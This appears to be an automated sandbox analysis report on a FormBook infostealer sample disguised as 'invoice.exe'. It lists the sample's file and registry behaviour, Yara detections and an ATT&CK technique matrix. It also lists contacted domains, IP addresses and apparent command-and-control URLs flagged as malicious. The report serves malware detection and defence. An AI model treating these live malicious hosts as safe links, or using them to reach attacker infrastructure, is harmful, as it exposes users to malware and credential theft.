Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\invoice.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\invoice.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000009.00000002.490575290.0000000002AE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.287914993.0000000001AE0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.287952464.0000000001B10000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.490405309.00000000026A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.246170025.0000000003EAC000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 3.2.invoice.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.invoice.exe.400000.0.raw.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000009.00000002.490575290.0000000002AE0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.287914993.0000000001AE0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.286861103.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.287952464.0000000001B10000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.490405309.00000000026A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.488897398.00000000021B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.246170025.0000000003EAC000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 3.2.invoice.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.invoice.exe.400000.0.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Shared Modules1	Path Interception	Process Injection612	Masquerading1	OS Credential Dumping	Security Software Discovery221	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	Process Discovery2	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer3	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion31	Security Account Manager	Virtualization/Sandbox Evasion31	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection612	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol13	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Deobfuscate/Decode Files or Information1	LSA Secrets	System Information Discovery112	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information4	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Software Packing3	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
invoice.exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
3.2.invoice.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen		Download File

Domains

Source	Detection	Scanner	Label	Link
legacyadmin.support	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
https://www.legacyadmin.support/e3rs/?w0G=0yUiwx1wLvxUfzb5kCZXOl2J	0%	Avira URL Cloud	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.knoxvilleoutdoorkitchens.com/?fp=acjVxO24ruBE1bSnAJOOFeZ9d2%2Bill3hWebcMHeneryqde34aljK8g	0%	Avira URL Cloud	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
www.sookepointcargo.com/e3rs/	0%	Avira URL Cloud	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.highdeserthealthinsurance.com	74.208.236.64	true	true		unknown
armaccountingbs.com	2.57.90.16	true	true		unknown
legacyadmin.support	192.0.78.24	true	true	0%, Virustotal, Browse	unknown
www.harshdeepfashion.com	216.239.34.21	true	false		unknown
www.jinlan.online.s.strikinglydns.com	35.156.117.131	true	true		unknown
hotelmaktub.com	177.55.108.130	true	true		unknown
www.arizonagridiron.com	23.27.42.72	true	false		unknown
flowhcf.com	184.168.131.241	true	true		unknown
www.knoxvilleoutdoorkitchens.com	208.91.197.91	true	true		unknown
www.dateyourlovelive.club	unknown	unknown	true		unknown
www.legacyadmin.support	unknown	unknown	true		unknown
www.gunungbatufrozen.com	unknown	unknown	true		unknown
www.hotelmaktub.com	unknown	unknown	true		unknown
www.flowhcf.com	unknown	unknown	true		unknown
www.sookepointcargo.com	unknown	unknown	true		unknown
www.jinlan.online	unknown	unknown	true		unknown
www.armaccountingbs.com	unknown	unknown	true		unknown
www.zmid.xyz	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
www.sookepointcargo.com/e3rs/	true	Avira URL Cloud: safe	low

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.apache.org/licenses/LICENSE-2.0	invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com	invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designersG	invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	false		high
http://www.fontbureau.com/designers/?	invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/bThe	invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	false		high
https://dist.nuget.org/win-x86-commandline/latest/nuget.exe	invoice.exe	false		high
https://github.com/d-haxton/HaxtonBot/archive/master.zip	invoice.exe	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name4	invoice.exe, 00000000.00000002.245256874.0000000002EBE000.00000004.00000001.sdmp	false		high
http://www.tiro.com	explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers	explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	false		high
http://www.goodfont.co.kr	invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css	invoice.exe, 00000000.00000002.245201549.0000000002EB3000.00000004.00000001.sdmp	false		high
http://www.carterandcone.coml	invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sajatypeworks.com	invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.typography.netD	invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	false		high
http://www.founder.com.cn/cn/cThe	invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://www.legacyadmin.support/e3rs/?w0G=0yUiwx1wLvxUfzb5kCZXOl2J	wscript.exe, 00000009.00000002.494442857.0000000004CF2000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://fontfabrik.com	invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.founder.com.cn/cn	invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	invoice.exe, 00000000.00000002.251392987.0000000006E22000.00000004.00000001.sdmp, explorer.exe, 00000004.00000000.272462034.000000000BC30000.00000002.00000001.sdmp	false		high
